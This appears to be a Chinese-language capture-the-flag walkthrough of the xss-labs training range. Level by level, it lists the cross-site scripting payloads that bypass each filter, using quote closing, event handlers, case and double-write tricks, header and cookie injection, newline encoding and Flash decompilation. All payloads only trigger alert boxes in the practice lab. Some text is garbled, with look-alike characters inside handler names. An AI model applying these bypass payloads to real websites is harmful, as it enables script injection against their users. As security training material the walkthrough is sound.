xss-labs
- 簡言
-
- 下載下傳連結
-
- Level 1 基本指令
- Level 2 黑名單繞過
- Level 3 單引号繞過
- Level 4 雙引号繞過
- Level 5 過濾滑鼠事件
- Level 6 大小寫繞過
- Level 7 雙寫繞過
- Level 8 編碼繞過
- Level 9 檢測http
- Level10 修改隐藏标簽
- Level11 http頭部注入
- Level12 User-Agent注入
- Level13 Cookie注入
- Level14 烏雲漏洞
- Level15 Include檔案包含
- Level16 %0a、%0d繞過
- Level17 on事件繞過
- Level18 on事件繞過
- Level19 反編譯flash
- Level20 反編譯flash
簡言
xss-labs更多偏向于xss基礎學習和模式變化,内容偏基礎但是也很全面,适合新手入門學習,本文偏了解型,未做過多講解,但勝在思路整體,領會所有過程并能夠加以實踐。1-16題使用火狐浏覽器,15題需要公網環境, 17-20題需要加載flash,本次使用了搜狗浏覽器為flash适用,插件選擇了FoxyProxy,HackBar,Max HackBar,Burp suite。
下載下傳連結
連結: xss-labs下載下傳.
![](https://img.laitimes.com/img/__Qf2AjLwojIjJCLyojI0JCLiAzNfRHLGZkRGZkRfJ3bs92YsYTMfVmepNHL9klaOVzaUpVMs5mYwh2MMBjVtJWd0ckW65UbM5WOHJWa5kHT20ESjBjUIF2X0hXZ0xCMx81dvRWYoNHLrdEZwZ1Rh5WNXp1bwNjW1ZUba9VZwlHdssmch1mclRXY39CXldWYtlWPzNXZj9mcw1ycz9WL49zZuBnLyczM0ADOzAjM1ITMwEjMwIzLc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
Level 1 基本指令
Level 2 黑名單繞過
閉合
"><img src='1' onerror='alert(1)'><"
Level 3 單引号繞過
閉合
"><script>alert(1)</script><"
成功閉合仍不可以,檢視源碼發現有兩個單引号未閉合,并使用onclick事件
onclick點選事件加’閉合
'οnclick='alert(1)
Level 4 雙引号繞過
發現左右尖括号被過濾,即使用雙引号閉合
"οnclick="alert(1)
Level 5 過濾滑鼠事件
檢視閉合,選擇使用僞協定嘗試
Level 6 大小寫繞過
過濾href,沒過濾大小寫
Level 7 雙寫繞過
發現過濾了script
"οnclick="alert(1)
過濾了onclick,嘗試雙寫繞過
"><scrscriptipt>alert(1)</scrscriptipt><"
Level 8 編碼繞過
檢視友情連結
嘗試雙寫大寫均不成功後,嘗試僞協定編碼十六進制
javascript:alert(/xss/)
Level 9 檢測http
檢視源碼發現需要http://
javascript:alert(/xss/)//http://192.168.135.1
Level10 修改隐藏标簽
發現沒有顯錯,檢視源碼
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
</form>
%3Cscript%3Ealert(1)%3C/script%3E
U型碼加密 發現正常回顯 但是沒成功
%3Cimg src='1' οnerrοr='alert(1)'%3E
也不報錯
t_sort=2" type="text" οnclick="alert(1)"
Level11 http頭部注入
繼續嘗試發現不回顯
t_sort=2" type="text" οnclick="alert(1)"
檢視源碼,發現在http頭部Referer值中
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
使用burp suite抓包,修改Referer值
t_sort=2" οnclick="alert(1)" type="text"
t_sort="type="text" οnclick="alert(1)
Level12 User-Agent注入
檢視源碼
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
發現傳回了浏覽器資訊,即User-Agent,必須從10關進入,不然不傳回
使用burp suite抓包,修改User-Agent值
User-Agent: t_sort=2" type="test" οnclick="alert(1)"
Level13 Cookie注入
無回顯,檢視源碼
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
發現是cookie注入,user="call me maybe?"在burp中抓包修改值時不能省去!
user=call+me+maybe%3F & t_sort=2" type="text" οnclick="alert(1)"
Level14 烏雲漏洞
在我嘗試基本指令時進入了一個新網站,再次重新整理進入又進入到這個網站,證明沒有問題
新網站再次嘗試基礎指令 發現有等待後繼續空值
檢視源碼後發現什麼都沒有,再次思考是不是遺漏了什麼,接着看新網站源碼
百度一下發現需要一個叫 exiftool 的kali工具,嘗試太多次就崩了,exif可以修改頭像等資訊
Level15 Include檔案包含
<script>alert</script>
& keyword=2" type="text" οnmοuseοver="alert(1)"
& keyword=2" type="text" οnclick="alert(1)"
均無法構造出彈窗
</head>
<h1 align=center>歡迎來到第15關,自己想個辦法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<body><span class="ng-include:1.gif"></span></body>
就想調用一個彈窗,準确來說是evil code彈窗
src='level1.php?name=<img src=x onerror=alert(1)>'
需要在公網内完成
Level16 %0a、%0d繞過
檢視源碼發現space,script,’,/被過濾,嘗試%0d,%0a
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
<img%0dsrc=1%0dοnerrοr=alert(1)>
本題需要用HackBar
Level17 on事件繞過
檢視源碼發現使用了htmlspecialchars進行實體編碼
此題需要flashplayer,然後我選擇搜狗浏覽器可以直接搭建,然後選擇onmouseover,可以避免很多錯誤
arg01=a&arg02=b%20οnmοuseοver=alert()
Level18 on事件繞過
和17關同樣,也需要flashplayer,onmouseover
arg01=a&arg02=b%20οnmοuseοver=alert()
Level19 反編譯flash
同樣需要flashplayer,搜狗浏覽器永遠的神,檢視下源碼,有個xsf03.swf
看大佬做了個反編譯,使用JPEXS Free Flash Decompiler,重點是%s
查找%s
發現關鍵詞version
點選藍色1即可完成
Level20 反編譯flash
flash xss
檢視xsf04.swf,再看大佬部落格,成功蹭到xss新方法
arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height
通關!